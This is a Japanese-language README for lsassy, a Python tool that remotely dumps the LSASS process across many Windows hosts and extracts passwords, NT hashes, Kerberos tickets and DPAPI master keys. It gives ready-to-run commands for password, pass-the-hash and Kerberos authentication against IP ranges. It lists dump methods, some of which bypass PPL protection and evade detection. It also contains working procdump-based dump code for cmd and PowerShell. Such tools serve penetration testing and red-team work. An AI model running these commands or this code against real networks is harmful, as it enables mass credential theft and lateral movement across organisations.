
複数のホストからリモートで資格情報を抽出するPythonツール。仕組みについてはこのブログ記事(英語)をご覧ください。
このツールはimpacketプロジェクトを使用してlsassダンプから必要なバイト列をリモートで読み取り、pypykatzを使用して資格情報を抽出します。
| 章 | 説明 |
|---|---|
| 警告 | このツールを使用する前にお読みください |
| インストール | Lsassyのインストール |
| 基本的な使い方 | Lsassyの基本的な使い方 |
| 高度な使い方 | パラメータ説明付きの高度な使い方 |
| ダンプ方法の追加 | カスタムlsassダンプ方法の追加方法 |
| 謝辞 | これらの人々とツールに感謝 |
| 公式Discord | 公式Discordサーバー |
ツールを安定させるためにあらゆる努力をしましたが、エラーが発生した場合に痕跡が残る可能性があります。
このツールは、ダンプの削除に失敗した場合(削除に努めますが)lsassダンプを残したり、スケジュールタスクの削除に失敗した場合にそのタスクを実行したままにしたりする可能性があります。これは起こるべきではありませんが、起こり得ます。注意して使用してください。
lsassy は Python >= 3.7 で動作します。
python3 -m pip install lsassy
python3 setup.py install
lsassy は複数のターゲット(IP、範囲、CIDR、ホスト名、FQDN、ターゲットリストを含むファイル)に対してそのまま動作します。
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
デフォルトでは、lsassyは comsvcs.dll メソッドを使用して、WMI経由またはリモートのスケジュールタスク経由でリモートからlsassをダンプしようとします。
lsassy はKerberos認証に対応しています。 KRB5CCNAME 環境変数に有効なTGTが必要です。詳細は高度な使い方を参照してください。
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
lsassy にはさまざまなlsassダンプ方法が実装されており、ツールの動作をユーザーが制御するためのオプションも用意されています。
lsassy はモジュールに分割されています。
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
このモジュールはオーケストレーターです。指定された引数とオプションでlsassyクラスを作成し、資格情報を取得するためにさまざまなモジュールを呼び出します。
このモジュールはログ出力に使用されます。
Impacket上に構築されたレイヤーで、Python組み込みのファイルオブジェクトのように動作します。open、read、seek、closeなどのメソッドをオーバーライドします。
ここでダンプロジックのすべてが行われます。使用するメソッドに応じて、リモートホスト上でコードを実行し、指定された方法でlsassをダンプします。
このモジュールはpypykatzに依存し、lsassy のファイルモジュールを使用してlsassダンプをリモートで解析します。
このモジュールは出力部分を処理します。画面への出力(さまざまな形式)やファイルへの結果の書き込みを行います。
このツールはさまざまな方法でlsassをダンプできます。
ダンプ方法(-m または --method)
このメソッドは Windows 組み込みファイルのみを使用してリモート資格情報を抽出します。comsvcs.dll の minidump 関数を使用して lsass プロセスをダンプします。
このメソッドは SysInternals の procdump.exe をアップロードして lsass プロセスをダンプします。
このメソッドは outflanknl の dumpert.exe または dumpert.dll をアップロードし、システムコールを使用して lsass プロセスをダンプします。
このメソッドは ricardojoserf の NativeDump.exe をアップロードし、NTAPIのみを使用して lsass プロセスをダンプします。
このメソッドは itm4n の ppldump.exe をアップロードし、lsass プロセスをダンプしてPPLをバイパスします。
このメソッドは Ccob の Mirrordump.exe をアップロードし、LSAプラグインを介してlsassへの既に開かれているハンドルを使用してダンプします。
このメソッドは PowerSploit で使用されているWERテクニックを使用します。
一部のダンプ方法では、procdumpやdumpertのパスのようなオプションが必要です。これらのオプションは --options または -O を使用して、カンマ区切りの key=value 形式で設定できます。
... --options key=value,foo=bar
例えば:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
既にダンプされたlsassプロセスを解析するには、--parse-only スイッチと --dump-path 、 --dump-name パラメータを指定します。
この方法を選択した場合、リモートのlsassダンプは削除されません ので注意してください。
例えば:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
lsassy実行後、ダンプを自動的に削除したくない場合は、--keep-dump を使用します。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Kerberosチケットは抽出され、$HOME/.config/lsassy/tickets に ccache 形式で保存されます。出力ディレクトリは -K [directory] または --kerberos-dir [directory] パラメータで指定できます。ディレクトリが存在しない場合、ツールはチケットを出力する前に作成を試みます。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
DPAPIマスターキーは抽出され、$HOME/.config/lsassy/masterkeys.txt に {GUID}:SHA1 形式で保存されます。マスターキーファイルのパスは -M [path] または --masterkeys-file [path] パラメータで指定できます。ファイルパスが存在しない場合、ツールはファイルを作成する前に作成を試みます。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
lsassy を使用してリモートターゲットに対して認証する方法は3つあります。唯一の要件は、リモートターゲットに対するローカル管理者権限が必要であることです。
最も明白な方法は、平文の認証情報を使用することです。ローカルユーザーまたはドメインユーザーのいずれかを使用できます。
## ローカルユーザー
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## ドメインユーザー
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
ユーザーのNTハッシュを使用した認証も可能です。LM:NT形式またはNTのみの形式のどちらかを指定できます。
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## または
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Kerberosを使用した認証も可能です。そのためには、有効なチケットがディスクに保存されている必要があり、チケットのパスを KRB5CCNAME 環境変数で指定する必要があります。テスト目的では、impacket の getTGT.py ツールを使用してこれを行うことができます。
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
このコマンドはTGTを要求し、jsnow.ccache ファイルに保存します。
lsassy が使用するチケットを認識するためには、チケットのパスを KRB5CCNAME 環境変数に明示的に設定する必要があります。
export KRB5CCNAME="/home/pixis/jsnow.ccache"
正しく設定されていれば、-k パラメータを使用してそのチケットを認証に使用できます。このチケットを使用するため、他の認証情報を提供する必要はなくなります。
lsassy -k server01.hackn.lab
これが機能するためには、有効なDNSサーバーを使用した動的構成、または hosts ファイルを使用した静的構成のいずれかで、有効なDNS構成が必要であることに注意してください。さらに、チケットの生成時および lsassy の使用時には、常にFQDN(例:server01 ではなく server01.hackn.lab)を使用する必要があります。
lsassy は --format または -f フラグを使用して、さまざまな形式で資格情報を出力できます。
デフォルトの形式で、きれいでわかりやすい資格情報が金色の色で表示されます。資格情報を信頼します。
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
結果をjson形式で表示します。スクリプトから呼び出す場合に便利です。
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
grep可能な出力で、ワンライナーで便利です。
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
結果を表示しません。--outfile を使用する場合に便利です。
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
指定されたファイルにgrep可能な形式で結果を保存します(--outfile または -o)。
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
コンピュータの資格情報を除外してユーザーの資格情報のみを取得する場合は、--users フラグを使用します。
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
チケットをエクスポートしたくない場合は、--no-tickets フラグを使用します。
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
マスターキーをエクスポートしたくない場合は、--no-masterkeys フラグを使用します。
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
--threads パラメータを使用して、使用するスレッド数 [1-256] を決定できます。
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
dumpmethod ディレクトリに dummy.py.tpl ファイルがあります。このファイルには、新しいダンプメソッド機能を作成するための基本構造が含まれています。
このメソッドは必須です。リモートホスト上でコードを実行してlsassを何らかの方法でダンプするために使用されます。cmd と pwsh の2つのアイテムを持つ辞書を 返す必要があります。
cmd コマンドは cmd.exe ユーティリティで理解されるコマンドです。 pwsh コマンドは PowerShell で理解されるコマンドです(ほとんどの場合、cmd コマンドも PowerShell で有効です)。
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Dependency クラスがあり、sysinternalsの procdump.exe など、ダンプメソッドに必要なファイルを簡単にアップロードするために使用できます。以下の2つのメソッドを使用できます。
prepare_dependencies:ユーザーがすべてのパラメータを提供したかどうかを確認し、ローカルユーザーのディスク上のファイルを検索してアップロードし、実際にファイルをアップロードします。clean_dependencies:アップロードされたファイルの削除を試みます。このメソッドは get_commands によって提供されるコマンドを実行 する前に 呼び出されます。ファイルのアップロードやチェックに使用できます。
このメソッドは get_commands によって提供されるコマンドを実行 した後に 呼び出されます。アップロードされたファイルの削除やクリーンアップに使用できます。
以下は、コメント付きのprocdumpの例です。
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
ダンプ方法がカスタムのダンプファイル名でダンプファイルを生成できない場合、
この設定をFalseに設定し、'dump_name' のコメントを解除して、
リモートシステム上の期待されるダンプファイル名を指定する必要があります。
"""
custom_dump_name_support = True # デフォルト: True
# dump_name = "" # デフォルト: ランダムなダンプファイル名
"""
ダンプ方法がカスタムディレクトリにダンプファイルを生成できない場合、
この設定をFalseに設定し、'dump_share' と 'dump_path' のコメントを解除して、
リモートシステム上の期待されるダンプファイルの場所を指定する必要があります。
ダンプツールがカスタムダンプ名を持てるが、カスタムダンプ拡張子を持てない場合は、
dump_ext 変数にダンプ拡張子を指定します。
この例では、procdump.exe は希望する場所に、希望する名前でダンプを生成しますが、
常に .dmp 拡張子が追加されます。
"""
custom_dump_path_support = True # デフォルト: True
# dump_share = "" # デフォルト: "C$"
# dump_path = "" # デフォルト: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ はインスタンス変数を作成するためにオーバーロードされています。
"""
super().__init__(session, timeout)
"""
このモジュールは、実行前に procdump.exe をリモートサーバーに
アップロードする必要があります。
そのため、procdump を Dependency として追加します。
最初の引数は依存関係の名前(任意)、
2番目の引数はローカルユーザーのディスク上のデフォルトの実行可能ファイル名です。
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare メソッドはオーバーロードされており、
- 必須パラメータが提供されているか確認する
- procdump をリモートホストにアップロードする
ことができます。
これらはすべて、Dependency オブジェクトの prepare_dependencies メソッドを使用して行えます。
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean メソッドはオーバーロードされており、
依存関係がアップロードされていた場合にそれを削除できます。
clean_dependencies メソッドがこれを行います。
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands メソッドは必須のためオーバーロードされています。
cmd.exe と PowerShell を使用した lsass ダンプの2つの異なる方法が提供され、返されます。
Dependency オブジェクトの get_remote_path メソッドは、
ターゲット上の procdump の正しいリモートパスを取得するために使用されます。
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
詳細なコメントや情報については、ダミークラスを確認してください。
